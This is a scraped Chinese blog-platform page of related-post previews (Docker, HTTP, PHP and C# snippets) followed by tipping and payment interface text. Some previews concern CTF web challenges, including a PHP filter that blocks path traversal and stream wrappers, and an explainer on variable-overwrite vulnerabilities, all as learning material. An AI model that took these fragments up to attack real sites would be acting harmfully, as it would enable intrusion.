最近花了半天时间趟坑，记录下了，直奔主题： Docker 介绍 | 安装 这里我就不介绍了，我参照以下教程安装，系统为 Ubuntu如下所示： 给出链接：https://yeasy.gitbooks.io/docker_practice/content/ Docker 镜像制作 首先编写 Dockerfile 文件，这里先贴出我的： FROM tiangolo/uws...
ctfshow web入门 PHP特性中篇(web105-web132)
ccfly1012的博客
09-11 1352
目录 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 web123 web125 web126 web127 web128 web129 web130 web131 web132 web105 <?php ​ /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 1
Http协议详解
我的ACM
09-27 2万+
HTTP协议即超文本传输协议，这个协议详细规定了浏览器和万维网之间互相通信的规则。HTTP协议就是一个通信的规则，通信规则规定了客户端发送给服务器的内容格式，也规定了服务器发送给客户端的内容格式。其实我们要学的就是这两种格式。客户端发送给服务器的格式叫做请求协议，服务器发送给客户端的叫做响应协议。 一、请求协议 请求协议的格式如下: 请求首行; 请求头信息; 空行;
BUU CTF web(四)
0xdawn的博客
05-11 5143
[HarekazeCTF2019]encode_and_encode <?php error_reporting(0); if (isset($_GET['source'])) { show_source(__FILE__); exit(); } function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob
php extract 变量覆盖,变量 覆盖漏洞----$$
weixin_35949857的博客
03-10 767
变量覆盖漏洞经常引发变量覆盖漏洞的函数有：extract(),parsestr()和importrequestvariables()和$$(可变变量)$$可变变量引起的变量覆盖漏洞一、我们先来查看源代码进行分析1、Include 调用了flag.php文件2、$_200,$403 定义两个参数，以及参数值。3、接着是两个判断语句，判断访问页面的方法是否为post方法和有没有参数flag。...
php与sql数据库前台管理系统,PHP操作管理sql数据库
weixin_36164538的博客
03-28 422
创建一个数据库操作类的PHP文件，文件内容：//MySQL、MySQLi、SQLite 三合一数据库操作类if(!defined('IN_CRONLITE'))exit();$nomysqli=false;if(defined('SQLITE')==true){class DB {var $link = null;function __construct($db_file){global $sit...
VS2013 IDE C#生成CodeMap
热门推荐
Raining_Snowman的专栏
07-28 6万+
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace ConsoleTest { class Program { private delegate void pIndex(int n); priv
imazen.webp.dll
最新发布
10-14
imazen.webp.dll是一个运行在Windows操作系统上的动态链接库文件。该文件是用于在.NET应用程序中处理WebP图像格式的库文件。 WebP是一种开源的图像格式，由Google开发。它能提供更好的图像压缩和更高的图像质量，...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值